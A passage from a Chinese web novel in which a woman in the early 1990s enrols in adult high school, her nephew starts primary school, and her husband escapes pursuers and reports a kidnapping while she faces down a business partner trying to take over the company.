胡兰兰想了想说：“也没什么要求，只要有高中或者中专毕业证就行，报名的人还挺多的，好些专业去晚了都选不上。” ……高中毕业证。 江雪在心底叹了口气，原主是初中毕业。 往后的学历只会越来越重要，就算不考虑学历的问题，江雪也想趁年轻多学一点儿东西。她现在只能算是野路子，要是能进入大学，系统完善的学习服装设计，也算是实现了她上辈子的梦想。 江雪越想越远，直到乔亚楠招呼她给关嘉言换衣服。 有了第一批的公主帽子，后续生产的男女童装也顺利推销了出去。只不过衣服不像帽子那样直观，还是要穿在身上才能看出效果。 乔亚楠看了杂志上的模特广告，便想了个主意。找人把衣服穿在身上拍照，再把照片放大多印几张，只要是从服装厂进货，就随货附送一张同款衣服的模特照，叫人一看就知道这件衣服是怎么回事。 说干就干，女装有乔雨薇就行，至于男装，乔亚楠一下子就想到了关嘉言。 当初电视台播出幼儿园周年庆的节目，合唱队一出场，大家都注意力都被在前面领唱的关嘉言吸引了。 她给江雪打电话，说了自己的打算，“请你们家言言来做模特，拍几张照片，给我们的衣服打打广告。” 能在九十年代初就开私人服装厂，乔亚楠的能力和魄力都不是一般人能比的，她能这么快的举一反三，江雪并不意外，只说要问问关嘉言。 关嘉言一听是要去拍照片，立马就同意了，还问江雪，“舅妈，这一次也会上电视吗？” 自从上次在电视机里看到自己表演节目，关嘉言才知道原来上电视不是进到电视机里面，怪不得小小的电视里会有那么多的人。 江雪替他换好衣服，理了理被弄乱的头发，“言言想上电视吗？” 关嘉言重重点头，“想！” “这次不上电视。”江雪说完，看到关嘉言失望的小表情，笑道：“是因为言言现在年纪太小了，还有很多字不认识。” 原来上电视还要认字吗？ 关嘉言还在犹豫，江雪已经开始趁火打劫，“所以我们明天继续学拼音，认生字，等你认识很多字的时候，就能上电视了” 为了上电视，关嘉言握紧了小拳头，“好！”—— 作者有话说：[三花猫头]《 》 30-40 第三十一章 舅妈做的饭不好吃 江雪不死心, 趁关山越休息，自己出门去打听了成人大学的入学标准。打听出来的消息和胡兰兰说的大差不差，不限年龄, 也不要考试, 甚至连户口都不限，只要报名就能上课。 唯一的要求就是要以前的毕业证书。 江雪只能铩羽而归。 回到家, 关嘉言在小书桌认真写字，关山越在厨房做饭，饭香味在狭小的空间里弥漫。见关嘉言没注意到这边, 江雪脚尖一转, 顺势拐去了厨房。 天热, 关山越上身只穿了件松垮的老头汗衫, 系着围裙, 从背后看去, 宽肩窄腰, 标准的倒三角身材。 江雪毫不客气的抱了上去, 头靠在他肩背上, 双手向前环抱, 掌心贴在腹部, 深深的吐出一口气。 关山越被她抱着回不了头，只能就着这个姿势问她，“怎么了？” 江雪摇头, 脑袋在他后背蹭来蹭去, “没事, 等会儿再说。” 掌心下的肌肉又紧了几分，关山越哑声道：“我还在做饭，小心烫到。” “嗯。”江雪又磨蹭了一会儿才老老实实撒开手, “我先去洗澡，跑了一天，热死了。” 洗完澡，换了身衣服出来，饭菜已经摆上了桌。 饭后是关嘉言的动画片时间，江雪坐在旁边的沙发上检查作业。一张汉语练字，一张英文字母练习，还有五十道十以内数学加减题。数学题已经改过，错的也用红笔在旁边纠正，江雪只需要用红笔把写得好的汉字和英文字母圈出来。 没过一会儿，关山越从厨房出来。他身上还带着烟熏火燎的烟火气，正好一集动画片播完，江雪叫了声关嘉言，“言言，去跟舅舅洗澡。” 关嘉言立马从沙发上跳了起来，都不用江雪提醒，自己拿了毛巾、睡衣，小跑着去了洗手间，还不忘催促关山越，“舅舅，快来帮我洗澡。” 舅舅洗澡很快，出来后还能再看一集动画片。 江雪提醒了一句，“记得给他洗头。” 检查完作业，江雪顺手从沙发旁的书堆里一捞，本打算找本杂志打发时间，抽出来后才发现是一本高中数学教科书。 这本书买回来后她只翻了几次，发现不管是三十年前还是三十年后，哪怕教材历经几次改版，只有数学始终如一。 不会就是不会。 正想着，关山越抱着搓洗干净的关嘉言出来了。关嘉言着急去看动画片，头发都没有擦干，索性天气热，江雪就没管他，只叫他搬着小板凳往后退，不要离电视太近。 一滴水从半空落下，正好滴在她手背上。江雪抬头，发现是关山越站在她身边，略长了些的头发半湿着，额前垂下两缕湿发，正一滴滴的往下滴水。 关山越垂眸，看她手里的数学书，“现在可以说了吗？” “啊？”美色当前，江雪的脑袋瓜迟钝了一下，终于想起来这是她刚回来时候的话题。 叹了口气，江雪放下书，盘腿坐在沙发上，语气幽幽道：“也不是什么大事，我想去读个成人大学来着。” 上辈子的学校虽然普通，但好歹是全日制四年本科，现在可倒好，连个非全日制的成人大学都读不上。 拍拍沙发旁的空位示意他坐下，江雪向后仰倒，懒散的靠在沙发靠背上，继续说：“我现在和服装厂合作，不用再像以前一样一天到晚的做衣服，正好言言马上要去上小学，我的时间就空下来了。” 她现在只需要画设计图和打版，比起之前确实轻松了不少。正因如此，她才想找个学上。 “但成人大学要高中学历。”江雪无奈摊手，“我只是个初中生。” 关山越扫了眼被她随手搁在旁边的高中数学书，“我还以为你要去读高中。” 江雪确实想过，但很遗憾，“高中只招收十八岁以下的初中毕业生。”简而言之，她这个大龄学员，学校拒收。 关山越沉吟片刻，起身道：“我替你想想办法。” “嗯？” * 本以为关山越只是随口一说，没想到过了几天，当真叫他找了个办法出来。 “成人高中？” 负责招生的老师笑眯眯的说：“这个你放心，我们是国家承认的，成人高中的毕业证和普通高中毕业证具有一样的效力，毕业后去参加成人高考，或者你想参加普通高考都可以。” 说是这么说，但读成人高中的大部分人还是会选择成人高考，又或者直接去读成人大学。普通高考是千军万马过独木桥，他们本来就耽误了几年学业，成人高中也不像普通高中那样严格，怎么考得过人家。 江雪研究过后，在成人高中报了名。但她没有海市户口，就算能在海市读成人高中，也办不了学籍。 关山越叫她不用担心，“学籍可以挂靠在别的学校。” 临近开学，江雪的学籍办了下来，挂靠在户籍所在省会的一所成人高中，只要毕业的时候回去参加毕业考试，领取毕业证就行。 成人高中的学制和普通高中差不多，至少要两到三年，江雪打算速战速决，明年拿毕业证，再以社会考生的身份回去参加高考。 开学后第一周，江雪参加了学校的考试，只考语文、数学、英语三科。虽然江雪的数学实在拿不出手，但好在她的语文和英语很好的补足了这一点，最后总分勉强擦过合格线，可以直接读毕业班。 另一边的关嘉言也对新学校适应良好。一方面是整个暑假有江雪给他做脱敏训练，其他小朋友还在哭闹不休的时候，关嘉言已经适应了小学的课程安排。 另一方面则是乔雨薇也去了红星小学读书，两个人刚好分到同个班级。 在新学校遇到认识的人不容易，关嘉言迅速和乔雨薇结成了同盟。 乔雨薇还去找老师，把她和关嘉言的位置换到了一起。 “中午我们还可以一起吃饭。”乔雨薇也报名了学校的午托班。 到了中午，班里的大部分学生都被家长接走，还有的去了校外的午托班，偌大的班级只剩下他和乔雨薇。 午托班的老师告诉他们要去国旗下集合，关嘉言背上书包，书包里放着他的饭盒，和乔雨薇一起出门。 路上，乔雨薇忍不住问：“言言，你不想回家吗？” 关嘉言走路板板正正，目不斜视，是跟关山越学的，“下午放学就可以回家了。” 乔雨薇越走越慢，一边走，还一边用脚尖踢路上的小石头，“你不想回家吃饭吗？”以前她中午都是在家吃的，还能躺在自己的小床上睡一觉。 关嘉言摇摇头，“不想。” “为什么？” 关嘉言不想说，但乔雨薇看起来好像要哭了一样。 “那你不要告诉别人。”关嘉言学着电视上的人说悄悄话的样子，捂住嘴小声道：“因为舅妈做的饭没有这里的饭好吃。” “啊？” 说到这里，关嘉言还像模像样的重重叹了口气，“舅舅做的饭好吃，但舅舅总是出任务不在家。”所以他只能吃舅妈做的饭，偶尔舅妈会带他去外面吃，可外面的饭也不如舅舅做的饭好吃。 乔雨薇不想哭了，她快走两步，追上关嘉言，“我妈妈做的饭也不好吃。”但是她爸爸也不做饭，他们家是奶奶做饭，做出来的饭只有那几样，她都要吃腻了。 这样一想，确实是学校更好一些，不仅每天的饭都不一样，还顿顿有肉吃，吃完饭还会给他们分水果，今天是苹果，明天是香蕉。 乔雨薇呼出一口气，一把拉起关嘉言，“那我们快去吃饭吧。”—— 作者有话说：关于雪考大学这个情节，大家当成架空来看吧[托腮] 第三十二章 关山越遇险 时隔多年, 重新坐回高中课堂，江雪不可谓不感慨。 不过感慨过后，就发现现实和自己想象中完全不一样。 上辈子读高中, 从高一到高三, 早六晚十，一天十几节课, 课间只有十分钟。临近高考那几个月更是头悬梁、锥刺股，天天打鸡血，恨不得连睡觉的时候都在背书。 而成人高中面向社会青年招生, 来的大部分都是在职人员, 来读书不是为了考学, 而是为了提升学历, 方便未来在岗位上晋升。所以学校给了他们白班和夜班两个选择, 白班就是半天上课, 在时间上也相当宽松, 早九晚五, 甚至不耽误江雪早晚接送关嘉言。 既然改变不了环境, 江雪只能自食其力。 除了学校发的教材, 江雪又专门跑了趟新华书店, 买了不少用得上的辅导书。定好闹钟，每天早上先在家里学两个小时，送关嘉言去学校后自己再去上学, 课后找老师答疑解惑, 晚上回来后再埋头苦学几个小时。 唯一值得庆幸的是, 高考和上辈子区别不大，依旧分文科和理科。上辈子她学的是文科，尽管已经毕业多年, 但除了数学之外，其他科目再捡起来并不难。 因为要上学，早出晚归，江雪把手上量体裁衣的几个单子做完后，就只给乔亚楠的服装厂提供童装设计图，以及打版做样衣。再来找她做衣服、改衣服的找不到人，一来二去，渐渐地就没人来了。 只有林虹住在她隔壁，早上出门时能碰上。 “这几天总有人来找，看你不在家。”林虹揪着自己儿子下楼，臭小子暑假玩疯了，暑假作业大半本都没写不说，居然还敢撒泼不去上学，迟早要腾出手来把他打一顿。 她道：“他们托我帮忙问问，是怎么一回事。” 江雪闻言笑了笑，说：“我找了个学校读书，没时间做衣服了，要是再有人问，麻烦你转告他们一声。” 这一年来，江雪帮她改了不少衣服，轻松一点儿的连钱都没收，张张嘴的事，林虹当即满口答应下来，又问：“你读的是成人大学吧？我们厂子里也有好多年轻人去读，说是能拿毕业证。” 现在愿意花时间去读成人大学的人越来越多，刚开始他们厂子也没几个人去，结果去的人读完回来，光凭一张毕业证就能转岗，从流水线调到办公室。还有的读完就辞了职，去其他地方做工，比在流水线当工人强多了。 江雪没有否认，“算是吧。” “还是多读书好。”林虹真心实意道：“我那会儿就是家里穷，供不起，只能进到厂子里，不然我高低也能上个大专。要是再年轻几岁，没有这个臭小子，我也读书去。” 她儿子抓住机会大喊：“妈，我不去上学，你想读书，你替我去！” 林虹“啪”的一巴掌拍在他屁股上，“不上学？不上学你就去给我捡垃圾！” 江雪：“……” 掌心被软软的牵扯着，江雪低了低下巴，发现是关嘉言绷着一张小脸，颇为严肃的抿着唇，乌黑明亮的眼睛认真的盯着她看，和关山越平日不苟言笑的模样更像了。 只可惜他两颊圆滚滚，这一年来养出的婴儿肥挂在脸上，让他做起这个表情来，没有严肃，只剩下可爱。 关嘉言满怀担忧的问：“舅妈，大人也要上学吗？” “嗯……”江雪牵着他的手下楼，想了想说：“舅妈是因为小时候没有认真读书，所以长大了才要像言言一样去上学。” 原来是这样啊，关嘉言小小的松了口气，保证道：“我一定会好好读书的。”千万不要像舅妈一样，舅妈的学校作业好多好多，就算他像动画片里的哪吒一样长出三头六臂也写不完。 * 天气阴晴不定，下过几场雨后，天气一天冷过一天，放学回家没一会儿，天色就渐渐暗了下来。 吃过不算美味的晚饭，江雪在客厅的茶几上写数学题，关嘉言受她影响，不用江雪提醒，动画片一结束就关了电视，翻出练字帖来练习写字。 小小的客厅天花板上悬挂着一盏白炽灯，在墙上投下巨大的阴影。窗外又传来稀稀拉拉的雨声，江雪搁下笔，起身去关窗户，忽然听到身后“啪”的一声，灯灭了，四周陷入一片黑暗，左邻右舍传来大大小小的惊呼。 “停电了！”关嘉言大喊。 “对，你坐好不要乱动。”老公楼的电箱电线还是刚建成的时候装的，现在用电的人越来越多，什么电灯，冰箱，电视机，洗衣机，每到用电高峰期，电压不稳，说跳闸就跳闸，整栋楼都停电，要等电工来检修。 好在也不会停太久，并且现在天气凉爽，不至于像夏天那样热的睡不着觉。 江雪摸索着回到客厅，熟门熟路的从柜子里找出根白蜡烛，用火柴点燃，“作业写完了吗？” 一灯如豆，微弱的火苗朝外晕开光芒，人影摇摇晃晃，关嘉言放轻了声音，生怕声音太大会把蜡烛吹灭，“写完了，舅妈，我的练字还没写完。” 江雪要他一天写一张汉字练习和一张英文练习，他刚刚只写完了英文，还没有写汉字。 江雪带他去洗漱，“明天再写，今天早点儿休息。” 雨越下越大，老房子年久失修，阳台有几个地方漏雨，不管的话都会渗到屋子里。江雪举着蜡烛照明，拿盆子放到漏雨的地方接水。 滴答滴答…… 月亮被裹紧浓重的乌云里，窗外一片黑暗，夜影憧憧，连同声音都吞没了。 * 关山越靠在树上，四下寂然，除了头顶悬着的一轮明月，不见一丝光亮。 原本跟在他身后的几个人已经不见了，但关山越没有放松警惕，凝神屏息的等了好一会儿，确定没有人追上来，才抬头看向星空，确认方位后，随即朝着一个方向走去。 他们这次护送的是一批货，从深市到海市，三辆大卡车的电子产品，有冰箱、空调、洗衣机，还有几台电脑，加起来价值不菲。 以防万一，加上他一共来了十三个人，七个人在明，余下六人在暗。从深市出来没多久，就遇上了国道修路，他们的大卡车过不去，要么在原地等上几个小时，要么就从国道上下来绕小路。 货物运输有时间限制，几个小时等不起，只能走小路。从国道上下来后，关山越便通知他们提高警惕。 果不其然，下来后没走多久，探路的人就回来说前面有人拦路。好在他们这边人也不少，明眼人一看就知道是怎么回事，车上备的烟酒给出去一点儿，也就糊弄过去了。 直到车子即将再次驶上国道，大家都要松一口气的时候，路旁的野林子里突然窜出来一批人。和之前遇上的不同，这批人就是奔着三辆车的货来的。 但就在缠斗过程中，关山越发现，这批人隐约分成两部分，一部分目标明确，目的就是抢货，剩下的那几个却是奔着他来的。 不求财，那就只剩下寻仇了。 于是关山越让司机找机会把车开走，自己带着找他寻仇的几个人一头钻进了野林子。 南方多山地，地形崎岖坎坷，树木繁多，即便入秋，也依旧枝繁叶茂。再加上天黑路滑，不熟悉的人进到这里面，十有八九会迷路。但对于曾在南方密林作战几年的关山越来说，完全不值一提。 关山越一边沿着小路下山，一边思考找他寻仇的会是谁。 雇佣他们跑这一趟的是安泰的老客户，只不过前段时间，对方换了个负责人，新上任的负责人年轻气盛，对他们的报价指指点点，话里话外想要好处。关山越没同意，对方就转头去了保平安，结果被人扣住货狮子大开口。 最后货是拿回来了，上任不到一个月的负责人也被当场辞退。 不远处有细微的光亮，像是手电筒，关山越立刻警觉，身体下压隐匿在树后，像森林里看到猎物时的猛兽，目光仍旧注视着远处的情形，呼吸和脚步已经全部消失不见，除非走到跟前，否则很难发现这里居然还藏着一个人。 观察几分钟后，关山越确定，这几个人不是刚才追着他的那些人。他们在的地方像是从前为了看守山林而建造的小木屋，面积狭小不说，从外表上看也已经荒弃了很久。 小木屋的门关着，看不到里面。外面有四个年纪差不多的男人，其中一个坐在门前的空地上，看不清脸，但可以看出来年纪不轻，四十岁上下，拿着手电筒，似乎是在跟人打电话。 另外三个人年纪较轻，有个看上去只有二十岁出头，手里拎着棍子，绕着小木屋来回走动，时刻观察着周围的环境。 这不是正常人会有的举动。 然而要想下山，势必要经过小木屋。 关山越缓步挪动，就在此时，他听到了对方打电话的声音。 “二十万算什么！这可是港城来的大老板！有钱！” “光是他手上戴的表，脖子上挂的金链子，就够咱们不吃不喝干一辈子，嘿，你说这有钱人，吃香的喝辣的，就看着咱们小老百姓吃糠咽菜。” “嘿嘿，我带着他往深山老林里一钻，警察能找得到？天王老子来了也找不到！” “放心，我等会儿就带他换地方，不都说什么兔什么三的他要是敢不老实，我就做了他。” “抓紧时间把信寄出去，告诉他们，不给钱，就撕票！” …… * 江雪在电话铃声中醒来，整个人似乎还沉浸在方才的梦境中，记不清是什么梦，只觉得周遭一片黑暗，凉意从四面八方侵袭而来。醒来后才发现被子被自己踢到地上大半，半边身子浸在空气中，怪不得觉得冷。 窗外风雨未停，江雪捞起外套披在身上，趿着鞋出去，接起电话，“喂？” 现在还没有那么多的骚扰电话，大半夜打过来的，十有八九是有急事。 “嫂子。”董志勇的声音从听筒传出，带着几分紧张，“你和言言现在在家吗？” 不知为何，江雪的心漏跳了一拍，“都在。” 董志勇道：“嫂子，你把贵重物品带好，再带两身换洗的衣服，我马上就到，开车带你和言言去宾馆住几天。在我去之前，不要给任何人开门。” “好。” 江雪没有问为什么，挂了电话后，先把身份证件和存折找出来装进可以防水的塑料袋，再从衣柜里随便扒拉出来几件衣服。想了想，又从衣柜深处锁着的盒子里拿出样东西，一起塞进了装衣服的包里。 东西全都收拾好，才回到客厅，把还在睡梦中的关嘉言叫醒。 “舅妈？”关嘉言被叫醒后还没回过神来，坐在床上揉眼睛，“我梦到舅舅了。” 江雪拿出衣服往他身上套，“是吗？那言言梦到什么了？” 关嘉言边穿衣服边想，直到衣服穿好也没有想起来。明明睡觉的时候记得很清楚，怎么一睁眼就忘记了。 十几分钟后，防盗门被人敲响，董志勇在门外道：“嫂子，我是大勇。” 江雪抱着关嘉言去开门，董志勇接过她手上的包，两人一起朝楼下走去。 外面的天还黑着，关嘉言这会儿才反应过来不是去上学，他眨眨眼，下意识的抱紧了江雪的脖子。 * 后车座还坐着刘文月和甜甜，车子直接开到位于市区的一家高档宾馆，旁边两三百米远的地方就是公安局。两家人开了临近的两间房，一晚上几十块，算得上是一笔奢侈的消费。 一顿折腾过后，云散雨停，天边透出些许橘红的色彩，关嘉言年纪小，很快就又睡熟过去，江雪却是彻底清醒了。 在房间里坐不住，她索性打开门出去，想要去透透气，刚好撞上正在走廊抽烟的董志勇。 “嫂子。”董志勇慌里慌张的熄灭了烟头。 刚下过雨，又出太阳，烟笼似的薄雾在空气中弥漫。江雪缓缓吐出堵在心口半晌的闷气，问道：“出什么事了？” 走廊里没有其他人，董志勇把自己收到的消息一五一十说了，末了道：“三辆车上的货都平安无事，几个兄弟摁住了其中两个，给送去了公安局。” 说到这儿，董志勇忍不住骂了句脏话，“拦车的就是他们公司之前的负责人，那是他们老板在外面跟别的女人生的小儿子！” 江雪：“……” 董志勇：“那家伙本来想吃回扣，结果搞砸了事，反倒被他大哥……就是老板正儿八经的亲儿子，给一脚踢出了公司大门。他心里不服气，知道公司最近有一批货要运来海市，就想半路劫车，给他大哥一个教训，叫他把自己请回去。” 江雪：“……他不知道抢劫是犯法的吗？”还是重罪，这得是什么样的脑回路才能想出这种主意？ 昨天晚上九点多的时候出的事，等他们甩开那群人找地方报警，已经是凌晨一点，一群人愣是做完笔录才想起来给董志勇打电话。 犹豫了下，董志勇决定实话实说，“嫂子，追着关哥出去的，不是同一伙人。”要不是这个原因，他也不会火急火燎的打电话接江雪和关嘉言搬来宾馆。 见江雪的目光朝自己看过来，董志勇又急忙道：“不过你放心，凭关哥的实力，只要进了林子，没人是他的对手。” 董志勇挂在腰上的传呼机响了，他下楼去前台打电话，江雪揣着手在走廊里又站了一会儿，看着薄雾慢慢散去，太阳一点点从天边升起—— 作者有话说：[撒花] 第三十三章 江雪发威 关嘉言一觉睡醒, 发现身边的桌椅板凳全都大变样，到了个他不认识的地方，还好一转头就看到了舅妈。 假装自己没有被吓到, 关嘉言嘿嘿一笑, 叫了声江雪，“舅妈。” 江雪也笑着看他, 拍拍他的被子，“自己起床穿衣服，我们去吃饭。” 关嘉言边穿衣服边想, 原来他不是在做梦, 真的是舅妈把他喊醒, 带他来了这里, 他还见到了董叔叔和刘阿姨, 是董叔叔开车送他们来的。 关嘉言想起来自己还梦到了舅舅, “舅妈, 舅舅回来了吗？” 江雪替他整理衣服, “没有, 舅舅要过两天才回来, 言言忘记了吗？” 关嘉言摇头, “没有，舅舅说回来会给我带礼物。” 关嘉言的生物钟就在七点，以至于每天都要踩点上学。今天起得稍微晚了一些, 江雪带他下楼吃饭, 顺便打电话给学校请假。 关嘉言吃着小笼包, 听到自己今天不用去学校，先是高兴了两秒，但又很快紧张起来, “舅妈，真的可以不去学校吗？”万一别人以为他没有好好读书，让他长大了也去上学怎么办。 江雪看出了他的顾虑，觉得好笑之余，还是摸了摸他的脑袋瓜，安慰他说：“只是请一天假，没关系。” 关嘉言这才放下心来。 宾馆里有电视机，江雪拘着关嘉言不让他出门，最多只能去隔壁找甜甜玩。 过了大半天，董志勇往宾馆打来电话，说那个找事的负责人抓住了。 电话里，董志勇说：“公安上门抓他的时候他还不乐意呢，说抢也抢他们家自己的东西，肉烂在自己家锅里，关别人什么事。” 江雪可算知道这人哪里来的勇气拦路抢劫了，合着觉得抢自己家的东西就不算抢。 江雪正要问他关山越的情况，忽然听到他那边传来巨大嘈杂声，似乎有人在大吵大闹。 董志勇捂着话筒喊了两句，听不真切，江雪微微皱眉。 “嫂子。”董志勇道：“山上已经派人去找了，一有消息我就给你打电话。”说完，便匆匆挂了电话。 江雪不想在宾馆干等，同刘文月说了一声后，便带着关嘉言从宾馆出去。 她要去的是安泰开在市区的办公室。 江雪上次来办公室还是去年筹备比武大会的时候，那时候的办公室完完全全像是个草台班子，只有两三张桌子，业务员是董志勇自己，另外还有一个负责接听电话的前台。 几个月没来，办公室全然大变样，不知道是不是专门找人重新装修过，多了几张桌子，也多了几张生面孔，好在前台还是那一个，见到江雪带着关嘉言出现，立马起身迎了上来。 “关太太，您来了。” 这是在关山越的公司，江雪没有纠正他的称呼，略一点头道：“你忙，我随便看看。” “这个……”前台的脸色不是很好看。 江雪的目光转过去，“怎么了？” 前台踟蹰着不知道要怎么说，好在不劳他张口，从经理办公室传出来的动静解了他的围。 “你少在这儿跟我吆五喝六的，我也有权管理公司！” 前台为难道：“要不，您亲自去看看吧。” 办公室里，董志勇和李栋梁面对面站着，董志勇压下心底的怒火，忍着气道：“你跟我说没用，你要支走公司账上的钱，就得按流程来。” 李栋梁还不知道关山越失踪的消息，但他打听到了关山越去深市出任务了，至少明天才能回来，所以才趁机跑来公司，想叫财务给他支一笔钱出来应应急。 没曾想关山越确实不在办公室，可董志勇在，还拿着鸡毛当令牌，一口否决了他要取钱的要求。 李栋梁急切道：“我不是说了吗，我就是拿钱应急，等过两天，后天，后天我就能一分不少的还回来。” 见董志勇还是不为所动，李栋梁加码道：“我给你算利息行了吧。” 董志勇做事向来一板一眼，要不然关山越也不会放心把公司业务交给他，“公是公，私是私，该给你的钱，一分都不会少，平白无故的从账上支钱，不行。” 李栋梁气结，无论如何，他今天是一定要拿到钱，只要拿到钱，他才能翻盘，才能起死回生。 腰里别着的大哥大响了两声，他恨恨的瞪了眼董志勇，接起电话，没好气道：“喂，谁啊？” 电话那边不知道说了什么，李栋梁的表情渐渐变了。 挂了电话，李栋梁心里千回百转。 关山越失踪了，这是好事还是坏事？作为兄弟，他当然不希望关山越出事，可要是现在的话，关山越下落不明，公司群龙无首，他来接手天经地义！ 一瞬间，李栋梁定下心来，冷笑着看着董志勇道：“我告诉你，你说了不算。” 说着，抬脚就往办公桌后走。 董志勇去拦他，两个人拉拉扯扯，忽然听到门口有人问：“那谁说了算？” 江雪走进办公室，绕过两人，自顾自的坐到了属于关山越的那把椅子上，对着李栋梁，把方才的话又问了一遍，“你觉得，这里谁说了算？” 李栋梁不理江雪，只对着董志勇说：“既然关山越现在管不了事，你又是跑业务的，公司就暂时交给我管。” 董志勇差点儿叫他气的背过气去，“谁说的关哥管不了事？关哥马上就回来了！” 李栋梁道：“你瞒着我有用吗？关山越在山上遇到了绑匪，现在下落不明……” 董志勇怒道：“你闭嘴！” 空气一时寂静，半晌，江雪敲了敲桌子道：“既然如此，那这里现在归我管。” “你？”李栋梁瞪大双眼，“你凭什么？” 江雪的语气依旧不急不缓，“凭我和他是合法伴侣，他出事，按照法律，我享有继承权。” “开什么玩笑，你一个乡下人，你懂什么！”李栋梁看不上江雪，觉得她虽然长得不错，但就是个乡下人，没本事没见识，不好好待在乡下嫁人，跑出来干什么。 江雪坐在椅子上，抬头直视李栋梁，向来温和带笑的脸上竟显出几分泠然，“我说了，这里现在我说了算。” “你！”李栋梁指着她问董志勇，“你就这么看着？” 董志勇站到了江雪这边，“关哥不在，我听嫂子的。” “她一个乡下……” 董志勇打断他，“当初要不是嫂子给我们出主意，说不定公司早就倒闭了。” 大哥大又响了，李栋梁再次接起，电话那头，有人恶声恶气的催着他还钱，“李老板，区区几万块钱而已，该不会这点儿钱都拿不出来吧？” 李栋梁额头冒汗，“催，催什么催，等会儿就把钱给你们送去！” 他转头看向董志勇，又看了看江雪，“行，你管就你管，你给我从账上支三万块钱。” “支钱不行。”江雪道：“如果你现在退出公司，我可以把你投的钱按比例退还。” 退出公司？！ 李栋梁怎么都想不到江雪会有这么大的胆子，竟然一句话就要把他从公司踢出去。 他下意识往前走了两步，却见江雪的目光冷冷的朝他扫过来，眼神中饱含着警告，仿佛他再往半步，就会遭受意想不到的后果。 什么后果？ 李栋梁想到了什么，顿时浑身一滞。 江雪进门的时候，右手拎了个黑色的手提包，从她坐下到现在，那个黑色手提包都没有出现，并且她只将左手放在了桌面上，右手藏在桌下，但不是自然放松的姿势，反而像是在手里拿着什么东西。 李栋梁情不自禁的后退了两步，故作镇定道：“你敢吗？” 江雪笑了笑，表情依旧温和，“你可以试试。”—— 作者有话说：[害羞] 第三十四章 是我爱人 僵持了好一会儿, 李栋梁还是同意了江雪的提议，签署协议退出公司，按比例拿回自己当初的那份投资。 只是心里难免不忿。 安泰不过一家小公司, 看样子也成不了什么大气候。他之所以投钱进去, 完全是因为从董志勇口中得知和他们一起合作的还有蔡成威。 要是能跟蔡成威搭上关系，那他就不算白费功夫。谁知公司是开起来了, 蔡成威却远在京市，压根不来海市，也不过问公司的事, 并且只跟关山越一个人联系。 于是他退而求其次, 想从业务上捞捞油水, 也被董志勇堵了回来。就连他想要给石晓茹安排岗位这么小一件事, 都没能如愿。 冷哼一声, 李栋梁大笔一挥在退出协议上签字, “钱呢？” 江雪收起协议, 对董志勇道：“让财务去银行给他转账。” 李栋梁想要现金, 但他说了不算, 最后只能拿着转账单悻悻离开。 董志勇亲自送他走出公司, 确定他不会去而复返, 才松了口气回到办公室。 江雪把随身携带的黑色手提包放到桌面上，董志勇扫了一眼过去，在看清楚轮廓后, 惊的鼻孔都张大了, “嫂子, 你怎么……”怎么出门还带着这东西啊！ 江雪笑了，“以防万一嘛。” 实则关山越拿给她看的时候，她也吓了一跳, 还以为关山越表面上浓眉大眼，背地里是个法外狂徒，后来才知道距离立法禁止还有好几年。 董志勇小心翼翼的把那份协议收起来放好，江雪瞧见，不由得出声感慨，“还好你们是个草台班子。”否则她也不能扯着虎皮做大旗。 董志勇：“啊？嫂子你说什么班子？” “没什么。”江雪定定的看向他，问起另外一件事，“刚才他说绑匪，是什么意思？” 董志勇“呃”了声，“这个，说来话长。” “舅妈、舅妈。”被江雪留在外面和前台一起玩的关嘉言倒腾着小短腿冲进办公室，打断了董志勇，“接电话，舅舅的电话！” 关山越的电话？！ 江雪和董志勇对视一眼，立即起身往外走。 * 绑匪人多，看模样绝对带了武器，关山越没有贸然行动。 然而绑匪警惕，如果跟着他的那些人也追到这边，惊动绑匪，势必会引起不必要的麻烦。 最糟糕的结果，就是绑匪觉得事情败露，为了脱身而选择杀人灭口。 事不宜迟，关山越加快脚步，静悄悄的下了山，赶在天亮之前，找到最近的乡镇派出所报了案。 绑架是大案子，乡镇派出所立马将事情上报，又派了几个人跟着关山越原路返回。好在这几个人还不知道他们已经被人发现，尚且做着发财的美梦，直到被赶来支援的公安干警抓获。 而另一边寻找关山越的人只听说了山上发生绑架案，并不知道就是关山越报的警，两边消息不互通，所以才有了关山越遇到绑匪生死不明的乌龙。 关山越说的简单，江雪却听的心惊胆战，急切道：“你没事吧？” “我没事。”关山越听出她话里的担忧，缓声安抚，“等在这边做完笔录就能回去。” 绑架案和他没关系，拦车抢劫的案子也找到了幕后主使，就算和追他的那几个人目标不一致，也一定互有联系，找到他们只不过是时间问题。 熟悉的声音经过电流的传播而略显失真，江雪高高悬起的心终于放下一半，千言万语涌到嘴边，可隔着长长的电话线，最终只余下句浅浅的叹息，“你没事就好。” 关嘉言双手扶着桌子边，在旁边眼巴巴看着，“舅妈，我能和舅舅说话吗？” 江雪哭笑不得，把电话塞到他手里，“好，言言想跟舅舅说什么？” 关嘉言用两只手捧着电话，嘴巴贴着话筒问：“舅舅，你什么时候回来啊？我和舅妈都很想你。” 其实关嘉言还想告诉舅舅，舅妈晚上都没有好好睡觉，早上的时候他还看到舅妈的眼睛红红的，但是舅妈什么都没说，还带他去吃了好吃的小笼包。 嘟了嘟嘴，关嘉言语重心长道：“舅舅，你快点儿回来吧。” * 做完笔录出来，曲兆兴的一颗心仍在砰砰直跳，赶过来的秘书哭的两眼通红，扶着他在大厅的椅子上坐定。 缓了好一会儿，曲兆兴才终于松了口气，感慨道：“真是万幸啊！” 曲兆兴今年五十多岁，在港城也算身家富足。这次从港城到深市做生意，曲兆兴并非全无防备。毕竟像他这样的生意人，做事向来小心谨慎。 但千防万防，家贼难防。跟了他很多年的一个保镖在外面欠了赌债，借的高利贷利滚利，眼看实在还不上，就把主意打到了曲兆兴身上。趁着这次外出，勾结了几个不法分子，打算绑了他，再向他家里索要赎金。 被绑到山上的时候，曲兆兴本以为自己年过半百，一把老骨头就要折在这里，谁知峰回路转，竟然有神兵天降，把他毫发无伤的从绑匪手中救了出来。 掏出手帕抹了抹头上的汗，曲兆兴嘱咐秘书，“回头要好好写封感谢信。” 秘书点头应下，曲兆兴又想起另外一件事，“你去问问那个报案的人是谁。”他要好好跟人道谢，要是没有这个人，警方也不能这么快找到自己。 能做到大老板秘书这个岗位，眼力见还是有的，秘书忙道：“问过了，叫关山越，是一家安保公司的老板。” “安保公司？” 曲兆兴这次来深市，只带了秘书和保镖两个人。他在深市人生地不熟，秘书又不顶事，既然一时半会儿不能立刻回港城，还是要多找几个人保护他。 可一朝被蛇咬十年怕井绳，跟了他几年的人都不可信，万一再有个意外，谁知道还会不会有这么好的运气。 